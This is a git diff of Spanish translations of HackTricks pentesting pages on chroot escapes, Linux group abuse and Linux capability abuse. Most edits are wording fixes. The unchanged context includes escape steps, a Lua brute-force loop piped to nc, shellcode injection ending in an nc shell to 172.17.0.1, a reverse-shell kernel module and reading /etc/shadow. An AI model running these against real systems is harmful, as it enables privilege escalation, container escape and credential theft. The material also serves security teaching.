+> Si eres **root** dentro de un chroot **puedes escapar** creando **otro chroot**. Esto se debe a que 2 chroots no pueden coexistir (en Linux), así que si creas una carpeta y luego **creas un nuevo chroot** en esa nueva carpeta estando **tú fuera de ella**, ahora estarás **fuera del nuevo chroot** y, por lo tanto, estarás en el FS.
>
> Esto ocurre porque generalmente chroot NO mueve tu directorio de trabajo al indicado, así que puedes crear un chroot pero estar fuera de él.
-Generalmente no encontrarás el binario `chroot` dentro de una cárcel chroot, pero **podrías compilar, subir y ejecutar** un binario:
+Por lo general, no encontrarás el binario `chroot` dentro de una cárcel chroot, pero **podrías compilar, subir y ejecutar** un binario:
@@ -123,7 +123,7 @@ chroot(".");
> [!WARNING]
>
> - Montando el dispositivo raíz (/) en un directorio dentro del chroot
-> - Chrooteando en ese directorio
+> - Chrooting en ese directorio
>
> Esto es posible en Linux
@@ -140,7 +140,7 @@ chroot(".");
> [!WARNING]
>
> - Crea un Fork (proceso hijo) y chroot en una carpeta diferente más profunda en el FS y CD en ella
-> - Desde el proceso padre, mueve la carpeta donde se encuentra el proceso hijo a una carpeta anterior al chroot de los hijos
+> - Desde el proceso padre, mueve la carpeta donde está el proceso hijo a una carpeta anterior al chroot de los hijos
> - Este proceso hijo se encontrará fuera del chroot
### ptrace
@@ -205,10 +205,11 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
### Otros trucos
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
-[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
-[https://gtfobins.github.io](https://gtfobins.github.io/**](https/gtfobins.github.io)\
+[https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
+[https://gtfobins.github.io](https://gtfobins.github.io)\
**También podría ser interesante la página:**
+
{{#ref}}
../bypass-bash-restrictions/
{{#endref}}
@@ -217,6 +218,7 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
Trucos sobre cómo escapar de los python jails en la siguiente página:
+
{{#ref}}
../../generic-methodologies-and-resources/python/bypass-python-sandboxes/
{{#endref}}
@@ -238,7 +240,7 @@ Enumerar funciones de una biblioteca:
```bash
for k,v in pairs(string) do print(k,v) end
```
-Ten en cuenta que cada vez que ejecutas la línea de comando anterior en un **entorno lua diferente, el orden de las funciones cambia**. Por lo tanto, si necesitas ejecutar una función específica, puedes realizar un ataque de fuerza bruta cargando diferentes entornos lua y llamando a la primera función de la biblioteca:
+Ten en cuenta que cada vez que ejecutas la línea de comandos anterior en un **entorno lua diferente, el orden de las funciones cambia**. Por lo tanto, si necesitas ejecutar una función específica, puedes realizar un ataque de fuerza bruta cargando diferentes entornos lua y llamando a la primera función de la biblioteca:
```bash
#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
@@ -249,7 +251,7 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
```
-**Obtener una shell lua interactiva**: Si estás dentro de una shell lua limitada, puedes obtener una nueva shell lua (y con suerte ilimitada) llamando:
+**Obtener un shell lua interactivo**: Si estás dentro de un shell lua limitado, puedes obtener un nuevo shell lua (y con suerte ilimitado) llamando:
```bash
debug.debug()
```
diff --git a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
index 693d53f5d..7846872ee 100644
--- a/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
+++ b/src/linux-hardening/privilege-escalation/interesting-groups-linux-pe/README.md
@@ -6,7 +6,7 @@
### **PE - Método 1**
-**A veces**, **por defecto (o porque algún software lo necesita)** dentro del **/etc/sudoers** puedes encontrar algunas de estas líneas:
+**A veces**, **por defecto (o porque algún software lo necesita)** dentro del **/etc/sudoers** archivo puedes encontrar algunas de estas líneas:
```bash
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
@@ -16,7 +16,7 @@
```
Esto significa que **cualquier usuario que pertenezca al grupo sudo o admin puede ejecutar cualquier cosa como sudo**.
-Si este es el caso, para **convertirse en root, solo puede ejecutar**:
+Si este es el caso, para **convertirse en root, simplemente puede ejecutar**:
```
sudo su
```
@@ -68,7 +68,7 @@ sudo su
```
## Grupo Shadow
-Los usuarios del **grupo shadow** pueden **leer** el **/etc/shadow** archivo:
+Los usuarios del **grupo shadow** pueden **leer** el archivo **/etc/shadow**:
```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
```
@@ -86,7 +86,7 @@ $ echo $PATH
# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
```
-Si podemos secuestrar algunos programas en `/usr/local`, podemos obtener fácilmente acceso root.
+Si podemos secuestrar algunos programas en `/usr/local`, podemos obtener acceso root fácilmente.
Secuestrar el programa `run-parts` es una forma fácil de obtener acceso root, porque la mayoría de los programas ejecutarán un `run-parts` como (crontab, cuando se inicia sesión por ssh).
```bash
@@ -146,11 +146,11 @@ Tenga en cuenta que usando debugfs también puede **escribir archivos**. Por eje
debugfs -w /dev/sda1
debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
```
-Sin embargo, si intentas **escribir archivos propiedad de root** (como `/etc/shadow` o `/etc/passwd`), recibirás un error de "**Permiso denegado**".
+Sin embargo, si intentas **escribir archivos propiedad de root** (como `/etc/shadow` o `/etc/passwd`) recibirás un error de "**Permiso denegado**".
## Grupo de Video
-Usando el comando `w`, puedes encontrar **quién está conectado al sistema** y mostrará una salida como la siguiente:
+Usando el comando `w` puedes encontrar **quién está conectado al sistema** y mostrará una salida como la siguiente:
```bash
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
yossi tty1 22:16 5:13m 0.05s 0.04s -bash
@@ -167,13 +167,13 @@ Para **abrir** la **imagen en bruto** puedes usar **GIMP**, seleccionar el archi
.png>)
-Luego modifica el Ancho y la Altura a los que se usan en la pantalla y verifica diferentes Tipos de Imagen (y selecciona el que muestre mejor la pantalla):
+Luego modifica el Ancho y Alto a los que se usan en la pantalla y verifica diferentes Tipos de Imagen (y selecciona el que muestre mejor la pantalla):
.png>)
## Grupo Root
-Parece que por defecto **los miembros del grupo root** podrían tener acceso a **modificar** algunos archivos de configuración de **servicios** o algunos archivos de **bibliotecas** o **otras cosas interesantes** que podrían ser utilizadas para escalar privilegios...
+Parece que por defecto **los miembros del grupo root** podrían tener acceso a **modificar** algunos archivos de configuración de **servicios** o algunos archivos de **bibliotecas** u **otras cosas interesantes** que podrían ser utilizadas para escalar privilegios...
**Verifica qué archivos pueden modificar los miembros de root**:
```bash
@@ -218,7 +218,7 @@ https://fosterelli.co/privilege-escalation-via-docker.html
## Grupo Adm
Por lo general, los **miembros** del grupo **`adm`** tienen permisos para **leer archivos de registro** ubicados dentro de _/var/log/_.\
-Por lo tanto, si has comprometido a un usuario dentro de este grupo, definitivamente deberías **echar un vistazo a los registros**.
+Por lo tanto, si has comprometido a un usuario dentro de este grupo, definitivamente deberías **mirar los registros**.
## Grupo Auth
diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md
index 7793106e7..2f7b30f5a 100644
--- a/src/linux-hardening/privilege-escalation/linux-active-directory.md
+++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md
@@ -20,7 +20,7 @@ También puedes consultar la siguiente página para aprender **otras formas de e
### FreeIPA
-FreeIPA es una **alternativa** de código abierto a **Active Directory** de Microsoft, principalmente para entornos **Unix**. Combina un **directorio LDAP** completo con un Centro de Distribución de Claves **Kerberos** de MIT para la gestión similar a Active Directory. Utiliza el **Sistema de Certificados** Dogtag para la gestión de certificados CA y RA, y admite autenticación **multifactor** que incluye tarjetas inteligentes. SSSD está integrado para procesos de autenticación Unix. Aprende más sobre ello en:
+FreeIPA es una **alternativa** de código abierto a Microsoft Windows **Active Directory**, principalmente para entornos **Unix**. Combina un **directorio LDAP** completo con un Centro de Distribución de Claves **Kerberos** de MIT para la gestión similar a Active Directory. Utiliza el **Sistema de Certificados** Dogtag para la gestión de certificados CA y RA, y admite autenticación **multifactor**, incluyendo tarjetas inteligentes. SSSD está integrado para procesos de autenticación Unix. Aprende más sobre ello en:
{{#ref}}
../freeipa-pentesting.md
diff --git a/src/linux-hardening/privilege-escalation/linux-capabilities.md b/src/linux-hardening/privilege-escalation/linux-capabilities.md
index 2e58bd3df..e132798b4 100644
--- a/src/linux-hardening/privilege-escalation/linux-capabilities.md
+++ b/src/linux-hardening/privilege-escalation/linux-capabilities.md
@@ -2,13 +2,14 @@
{{#include ../../banners/hacktricks-training.md}}
+
## Capacidades de Linux
Las capacidades de Linux dividen **los privilegios de root en unidades más pequeñas y distintas**, permitiendo que los procesos tengan un subconjunto de privilegios. Esto minimiza los riesgos al no otorgar privilegios de root completos innecesariamente.
### El Problema:
-- Los usuarios normales tienen permisos limitados, afectando tareas como abrir un socket de red que requiere acceso de root.
+- Los usuarios normales tienen permisos limitados, lo que afecta tareas como abrir un socket de red que requiere acceso de root.
### Conjuntos de Capacidades:
@@ -21,8 +22,8 @@ Las capacidades de Linux dividen **los privilegios de root en unidades más pequ
2. **Efectivas (CapEff)**:
- **Propósito**: Representa las capacidades reales que un proceso está utilizando en cualquier momento.
-- **Funcionalidad**: Es el conjunto de capacidades que el kernel verifica para otorgar permiso para varias operaciones. Para archivos, este conjunto puede ser una bandera que indica si las capacidades permitidas del archivo deben considerarse efectivas.
-- **Significado**: El conjunto efectivo es crucial para las verificaciones inmediatas de privilegios, actuando como el conjunto activo de capacidades que un proceso puede usar.
+- **Funcionalidad**: Es el conjunto de capacidades que verifica el kernel para otorgar permiso para varias operaciones. Para archivos, este conjunto puede ser una bandera que indica si las capacidades permitidas del archivo deben considerarse efectivas.
+- **Significado**: El conjunto efectivo es crucial para las verificaciones de privilegios inmediatos, actuando como el conjunto activo de capacidades que un proceso puede usar.
3. **Permitidas (CapPrm)**:
@@ -37,7 +38,7 @@ Las capacidades de Linux dividen **los privilegios de root en unidades más pequ
- **Caso de uso**: Este conjunto es particularmente útil para restringir el potencial de escalada de privilegios de un proceso, añadiendo una capa extra de seguridad.
5. **Ambientales (CapAmb)**:
-- **Propósito**: Permite que ciertas capacidades se mantengan a través de una llamada al sistema `execve`, que típicamente resultaría en un reinicio completo de las capacidades del proceso.
+- **Propósito**: Permite que ciertas capacidades se mantengan a través de una llamada al sistema `execve`, que normalmente resultaría en un reinicio completo de las capacidades del proceso.
- **Funcionalidad**: Asegura que los programas no SUID que no tienen capacidades de archivo asociadas puedan retener ciertos privilegios.
- **Restricciones**: Las capacidades en este conjunto están sujetas a las limitaciones de los conjuntos heredables y permitidos, asegurando que no excedan los privilegios permitidos del proceso.
```python
@@ -100,7 +101,7 @@ CapAmb: 0000000000000000
capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw
```
-Aunque eso funciona, hay otra forma más fácil. Para ver las capacidades de un proceso en ejecución, simplemente usa la herramienta **getpcaps** seguida de su ID de proceso (PID). También puedes proporcionar una lista de IDs de proceso.
+Aunque eso funciona, hay otra forma más fácil. Para ver las capacidades de un proceso en ejecución, simplemente utiliza la herramienta **getpcaps** seguida de su ID de proceso (PID). También puedes proporcionar una lista de IDs de proceso.
```bash
getpcaps 1234
```
@@ -154,7 +155,7 @@ Puedes eliminar las capacidades de un binario con
```bash
setcap -r
```
-## Capacidades de Usuario
+## User Capabilities
Aparentemente **es posible asignar capacidades también a los usuarios**. Esto probablemente significa que cada proceso ejecutado por el usuario podrá utilizar las capacidades del usuario.\
Basado en [esto](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [esto](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) y [esto](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user), se deben configurar algunos archivos para otorgar a un usuario ciertas capacidades, pero el que asigna las capacidades a cada usuario será `/etc/security/capability.conf`.\
@@ -270,7 +271,7 @@ gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash
```
-Dentro del **bash ejecutado por el binario ambiental compilado** es posible observar las **nuevas capacidades** (un usuario regular no tendrá ninguna capacidad en la sección "actual").
+Dentro del **bash ejecutado por el binario de ambiente compilado** es posible observar las **nuevas capacidades** (un usuario regular no tendrá ninguna capacidad en la sección "actual").
```bash
capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip
@@ -321,7 +322,7 @@ setcap cap_net_raw+ep /sbin/ping
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep
```
-El `+ep` significa que estás agregando la capacidad (“-” la eliminaría) como Efectiva y Permitida.
+El `+ep` significa que estás añadiendo la capacidad (“-” la eliminaría) como Efectiva y Permitida.
Para identificar programas en un sistema o carpeta con capacidades:
```bash
@@ -345,7 +346,7 @@ getcap /usr/sbin/tcpdump
```
### El caso especial de capacidades "vacías"
-[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): Tenga en cuenta que se pueden asignar conjuntos de capacidades vacías a un archivo de programa, y por lo tanto es posible crear un programa con ID de usuario raíz que cambie el ID de usuario efectivo y el ID de usuario guardado del proceso que ejecuta el programa a 0, pero no confiere ninguna capacidad a ese proceso. O, dicho de manera simple, si tienes un binario que:
+[De la documentación](https://man7.org/linux/man-pages/man7/capabilities.7.html): Tenga en cuenta que se pueden asignar conjuntos de capacidades vacíos a un archivo de programa, y así es posible crear un programa con ID de usuario raíz que cambie el ID de usuario efectivo y el ID de usuario guardado del proceso que ejecuta el programa a 0, pero no confiere ninguna capacidad a ese proceso. O, dicho de manera simple, si tienes un binario que:
1. no es propiedad de root
2. no tiene bits `SUID`/`SGID` establecidos
@@ -417,7 +418,7 @@ chroot ./ bash #You have a shell inside the docker hosts disk
- **Acceso completo**
En el método anterior logramos acceder al disco del host de docker.\
-En caso de que encuentres que el host está ejecutando un **ssh** servidor, podrías **crear un usuario dentro del disco del host de docker** y acceder a él a través de SSH:
+En caso de que encuentres que el host está ejecutando un servidor **ssh**, podrías **crear un usuario dentro del disco del host de docker** y acceder a él a través de SSH:
```bash
#Like in the example before, the first step is to mount the docker host disk
fdisk -l
@@ -433,7 +434,7 @@ ssh john@172.17.0.1 -p 2222
```
## CAP_SYS_PTRACE
-**Esto significa que puedes escapar del contenedor inyectando un shellcode dentro de algún proceso que se esté ejecutando dentro del host.** Para acceder a los procesos que se ejecutan dentro del host, el contenedor debe ejecutarse al menos con **`--pid=host`**.
+**Esto significa que puedes escapar del contenedor inyectando un shellcode dentro de algún proceso que se esté ejecutando en el host.** Para acceder a los procesos que se ejecutan dentro del host, el contenedor debe ejecutarse al menos con **`--pid=host`**.
**[`CAP_SYS_PTRACE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** otorga la capacidad de utilizar funcionalidades de depuración y seguimiento de llamadas al sistema proporcionadas por `ptrace(2)` y llamadas de adjunto de memoria cruzada como `process_vm_readv(2)` y `process_vm_writev(2)`. Aunque es poderoso para fines de diagnóstico y monitoreo, si `CAP_SYS_PTRACE` está habilitado sin medidas restrictivas como un filtro seccomp en `ptrace(2)`, puede socavar significativamente la seguridad del sistema. Específicamente, puede ser explotado para eludir otras restricciones de seguridad, notablemente las impuestas por seccomp, como se demuestra en [pruebas de concepto (PoC) como esta](https://gist.github.com/thejh/8346f47e359adecd1d53).
@@ -559,7 +560,7 @@ chunks += f"{byte:02x}"
print(f"set {{long}}($rip+{i}) = {chunks}")
```
-Depure un proceso root con gdb y copie y pegue las líneas de gdb generadas previamente:
+Depurar un proceso root con gdb y copiar-pegar las líneas de gdb generadas previamente:
```bash
# Let's write the commands to a file
echo 'set {long}($rip+0) = 0x296a909090909090
@@ -611,17 +612,17 @@ uid=0(root)
gid=0(root)
groups=0(root
```
-List **procesos** en el **host** `ps -eaf`
+List **processes** running in the **host** `ps -eaf`
-1. Obtener la **arquitectura** `uname -m`
-2. Encontrar un **shellcode** para la arquitectura ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
-3. Encontrar un **programa** para **inyectar** el **shellcode** en la memoria de un proceso ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c))
-4. **Modificar** el **shellcode** dentro del programa y **compilarlo** `gcc inject.c -o inject`
-5. **Inyectar** y obtener tu **shell**: `./inject 299; nc 172.17.0.1 5600`
+1. Get the **architecture** `uname -m`
+2. Find a **shellcode** for the architecture ([https://www.exploit-db.com/exploits/41128](https://www.exploit-db.com/exploits/41128))
+3. Find a **program** to **inject** the **shellcode** into a process memory ([https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c](https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c))
+4. **Modify** the **shellcode** inside the program and **compile** it `gcc inject.c -o inject`
+5. **Inject** it and grab your **shell**: `./inject 299; nc 172.17.0.1 5600`
## CAP_SYS_MODULE
-**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** otorga a un proceso la capacidad de **cargar y descargar módulos del kernel (`init_module(2)`, `finit_module(2)` y `delete_module(2)` llamadas al sistema)**, ofreciendo acceso directo a las operaciones centrales del kernel. Esta capacidad presenta riesgos críticos de seguridad, ya que permite la escalada de privilegios y el compromiso total del sistema al permitir modificaciones en el kernel, eludiendo así todos los mecanismos de seguridad de Linux, incluidos los Módulos de Seguridad de Linux y el aislamiento de contenedores.
+**[`CAP_SYS_MODULE`](https://man7.org/linux/man-pages/man7/capabilities.7.html)** otorga a un proceso la capacidad de **cargar y descargar módulos del kernel (`init_module(2)`, `finit_module(2)` y `delete_module(2)` llamadas al sistema)**, ofreciendo acceso directo a las operaciones centrales del kernel. Esta capacidad presenta riesgos de seguridad críticos, ya que permite la escalada de privilegios y el compromiso total del sistema al permitir modificaciones en el kernel, eludiendo así todos los mecanismos de seguridad de Linux, incluidos los Módulos de Seguridad de Linux y el aislamiento de contenedores.
**Esto significa que puedes** **insertar/quitar módulos del kernel en/el kernel de la máquina host.**
**Ejemplo con binario**
@@ -641,7 +642,7 @@ Luego **compila el módulo del kernel que puedes encontrar 2 ejemplos a continua
```bash
cp reverse-shell.ko lib/modules/$(uname -r)/
```
-Finalmente, ejecuta el código de python necesario para cargar este módulo del kernel:
+Finalmente, ejecuta el código python necesario para cargar este módulo del kernel:
```python
import kmod
km = kmod.Kmod()
@@ -712,8 +713,8 @@ make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
> El carácter en blanco antes de cada palabra make en el Makefile **debe ser una tabulación, no espacios**!
Ejecuta `make` para compilarlo.
-```
-ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
+```bash
+Make[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory. Stop.
sudo apt update
sudo apt full-upgrade
@@ -732,7 +733,7 @@ Otro ejemplo de esta técnica se puede encontrar en [https://www.cyberark.com/re
## CAP_DAC_READ_SEARCH
-[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite a un proceso **eludir los permisos para leer archivos y para leer y ejecutar directorios**. Su uso principal es para la búsqueda o lectura de archivos. Sin embargo, también permite a un proceso utilizar la función `open_by_handle_at(2)`, que puede acceder a cualquier archivo, incluidos aquellos fuera del espacio de nombres de montaje del proceso. El identificador utilizado en `open_by_handle_at(2)` se supone que es un identificador no transparente obtenido a través de `name_to_handle_at(2)`, pero puede incluir información sensible como números de inode que son vulnerables a la manipulación. El potencial de explotación de esta capacidad, particularmente en el contexto de contenedores Docker, fue demostrado por Sebastian Krahmer con el exploit shocker, como se analiza [aquí](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).
+[**CAP_DAC_READ_SEARCH**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite a un proceso **eludir los permisos para leer archivos y para leer y ejecutar directorios**. Su uso principal es para la búsqueda o lectura de archivos. Sin embargo, también permite a un proceso utilizar la función `open_by_handle_at(2)`, que puede acceder a cualquier archivo, incluidos aquellos fuera del espacio de nombres de montaje del proceso. El identificador utilizado en `open_by_handle_at(2)` se supone que es un identificador no transparente obtenido a través de `name_to_handle_at(2)`, pero puede incluir información sensible como números de inodo que son vulnerables a la manipulación. El potencial de explotación de esta capacidad, particularmente en el contexto de contenedores Docker, fue demostrado por Sebastian Krahmer con el exploit shocker, como se analiza [aquí](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3).
**Esto significa que puedes** **eludir las verificaciones de permisos de lectura de archivos y las verificaciones de permisos de lectura/ejecución de directorios.**
**Ejemplo con binario**
@@ -776,7 +777,7 @@ Dentro de la salida anterior, puedes ver que la capacidad **DAC_READ_SEARCH** es
Puedes aprender cómo funciona la siguiente explotación en [https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3](https://medium.com/@fun_cuddles/docker-breakout-exploit-analysis-a274fff0e6b3), pero en resumen, **CAP_DAC_READ_SEARCH** no solo nos permite recorrer el sistema de archivos sin verificaciones de permisos, sino que también elimina explícitamente cualquier verificación para _**open_by_handle_at(2)**_ y **podría permitir que nuestro proceso acceda a archivos sensibles abiertos por otros procesos**.
-El exploit original que abusa de estos permisos para leer archivos del host se puede encontrar aquí: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), la siguiente es una **versión modificada que te permite indicar el archivo que deseas leer como primer argumento y volcarlo en un archivo.**
+El exploit original que abusa de estos permisos para leer archivos del host se puede encontrar aquí: [http://stealth.openwall.net/xSports/shocker.c](http://stealth.openwall.net/xSports/shocker.c), lo siguiente es una **versión modificada que te permite indicar el archivo que deseas leer como primer argumento y volcarlo en un archivo.**
```c
#include
#include
@@ -1177,13 +1178,13 @@ find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
```
-Una vez que hayas encontrado un archivo que puedes abusar (a través de lectura o escritura) para escalar privilegios, puedes **obtener un shell impersonando al grupo interesante** con:
+Una vez que hayas encontrado un archivo que puedes abusar (mediante lectura o escritura) para escalar privilegios, puedes **obtener un shell impersonando al grupo interesante** con:
```python
import os
os.setgid(42)
os.system("/bin/bash")
```
-En este caso, se hizo una suplantación del grupo shadow para que puedas leer el archivo `/etc/shadow`:
+En este caso, se impersonó al grupo shadow para que puedas leer el archivo `/etc/shadow`:
```bash
cat /etc/shadow
```
@@ -1225,7 +1226,7 @@ python setcapability.py /usr/bin/python2.7
> [!WARNING]
> Tenga en cuenta que si establece una nueva capacidad en el binario con CAP_SETFCAP, perderá esta capacidad.
-Una vez que tenga [SETUID capability](linux-capabilities.md#cap_setuid) puede ir a su sección para ver cómo escalar privilegios.
+Una vez que tenga la [capacidad SETUID](linux-capabilities.md#cap_setuid) puede ir a su sección para ver cómo escalar privilegios.
**Ejemplo con entorno (Docker breakout)**
@@ -1255,8 +1256,8 @@ bash: /usr/bin/gdb: Operation not permitted
[From the docs](https://man7.org/linux/man-pages/man7/capabilities.7.html): _Permitido: Este es un **superconjunto limitante para las capacidades efectivas** que el hilo puede asumir. También es un superconjunto limitante para las capacidades que pueden ser añadidas al conjunto heredable por un hilo que **no tiene la capacidad CAP_SETPCAP** en su conjunto efectivo._\
Parece que las capacidades Permitidas limitan las que se pueden usar.\
Sin embargo, Docker también otorga la **CAP_SETPCAP** por defecto, por lo que podrías **establecer nuevas capacidades dentro de las heredables**.\
-Sin embargo, en la documentación de esta capacidad: _CAP_SETPCAP : \[…] **agregar cualquier capacidad del conjunto limitante del hilo que llama** a su conjunto heredable_.\
-Parece que solo podemos agregar al conjunto heredable capacidades del conjunto limitante. Lo que significa que **no podemos poner nuevas capacidades como CAP_SYS_ADMIN o CAP_SYS_PTRACE en el conjunto heredado para escalar privilegios**.
+Sin embargo, en la documentación de esta capacidad: _CAP_SETPCAP : \[…] **añadir cualquier capacidad del conjunto de límites del hilo que llama** a su conjunto heredable_.\
+Parece que solo podemos añadir al conjunto heredable capacidades del conjunto de límites. Lo que significa que **no podemos poner nuevas capacidades como CAP_SYS_ADMIN o CAP_SYS_PTRACE en el conjunto heredado para escalar privilegios**.
## CAP_SYS_RAWIO
@@ -1270,7 +1271,7 @@ Esto puede ser útil para **escalada de privilegios** y **escape de Docker.**
**Ejemplo con binario**
-Supongamos que el **`python`** binario tiene esta capacidad. Si pudieras **también modificar alguna configuración de servicio o socket** (o cualquier archivo de configuración relacionado con un servicio), podrías ponerle un backdoor, y luego matar el proceso relacionado con ese servicio y esperar a que se ejecute el nuevo archivo de configuración con tu backdoor.
+Supongamos que el **`python`** binario tiene esta capacidad. Si pudieras **también modificar alguna configuración de servicio o socket** (o cualquier archivo de configuración relacionado con un servicio), podrías crear una puerta trasera, y luego matar el proceso relacionado con ese servicio y esperar a que se ejecute el nuevo archivo de configuración con tu puerta trasera.
```python
#Use this python code to kill arbitrary processes
import os
@@ -1289,14 +1290,13 @@ kill -s SIGUSR1
electron-cef-chromium-debugger-abuse.md
{{#endref}}
-
## CAP_NET_BIND_SERVICE
**Esto significa que es posible escuchar en cualquier puerto (incluso en los privilegiados).** No puedes escalar privilegios directamente con esta capacidad.
**Ejemplo con binario**
-Si **`python`** tiene esta capacidad, podrá escuchar en cualquier puerto e incluso conectarse desde él a cualquier otro puerto (algunos servicios requieren conexiones desde puertos con privilegios específicos)
+Si **`python`** tiene esta capacidad, podrá escuchar en cualquier puerto e incluso conectarse desde él a cualquier otro puerto (algunos servicios requieren conexiones desde puertos privilegiados específicos)
{{#tabs}}
{{#tab name="Listen"}}
@@ -1324,7 +1324,7 @@ s.connect(('10.10.10.10',500))
## CAP_NET_RAW
-[**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) la capacidad permite a los procesos **crear sockets RAW y PACKET**, lo que les permite generar y enviar paquetes de red arbitrarios. Esto puede llevar a riesgos de seguridad en entornos contenedorizados, como el spoofing de paquetes, la inyección de tráfico y el eludir controles de acceso a la red. Los actores maliciosos podrían explotar esto para interferir con el enrutamiento de contenedores o comprometer la seguridad de la red del host, especialmente sin protecciones adecuadas de firewall. Además, **CAP_NET_RAW** es crucial para contenedores privilegiados para soportar operaciones como ping a través de solicitudes ICMP RAW.
+La capacidad [**CAP_NET_RAW**](https://man7.org/linux/man-pages/man7/capabilities.7.html) permite a los procesos **crear sockets RAW y PACKET**, lo que les permite generar y enviar paquetes de red arbitrarios. Esto puede llevar a riesgos de seguridad en entornos contenedorizados, como el spoofing de paquetes, la inyección de tráfico y el eludir controles de acceso a la red. Los actores maliciosos podrían explotar esto para interferir con el enrutamiento de contenedores o comprometer la seguridad de la red del host, especialmente sin protecciones adecuadas de firewall. Además, **CAP_NET_RAW** es crucial para contenedores privilegiados para soportar operaciones como ping a través de solicitudes ICMP RAW.
**Esto significa que es posible espiar el tráfico.** No puedes escalar privilegios directamente con esta capacidad.
@@ -1430,7 +1430,7 @@ fcntl.ioctl(fd, FS_IOC_SETFLAGS, f)
f=open("/path/to/file.sh",'a+')
f.write('New content for the file\n')
```
-> [!NOTE]
+> [!TIP]
> Tenga en cuenta que generalmente este atributo inmutable se establece y se elimina usando:
>
> ```bash
@@ -1440,14 +1440,14 @@ f.write('New content for the file\n')
## CAP_SYS_CHROOT
-[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) habilita la ejecución de la llamada al sistema `chroot(2)`, lo que puede permitir potencialmente la fuga de entornos `chroot(2)` a través de vulnerabilidades conocidas:
+[**CAP_SYS_CHROOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) habilita la ejecución de la llamada al sistema `chroot(2)`, que puede permitir potencialmente la fuga de entornos `chroot(2)` a través de vulnerabilidades conocidas:
- [Cómo escapar de varias soluciones chroot](https://deepsec.net/docs/Slides/2015/Chw00t_How_To_Break%20Out_from_Various_Chroot_Solutions_-_Bucsay_Balazs.pdf)
- [chw00t: herramienta de escape chroot](https://github.com/earthquake/chw00t/)
## CAP_SYS_BOOT
-[**CAP_SYS_BOOT**](https://man7.org/linux/man-pages/man7/capabilities.7.html) no solo permite la ejecución de la llamada al sistema `reboot(2)` para reinicios del sistema, incluidos comandos específicos como `LINUX_REBOOT_CMD_RESTART2` adaptados para ciertas plataformas de hardware, sino que también habilita el uso de `kexec_load(2)` y, desde Linux 3.17 en adelante, `kexec_file_load(2)` para cargar nuevos o firmados núcleos de falla respectivamente.
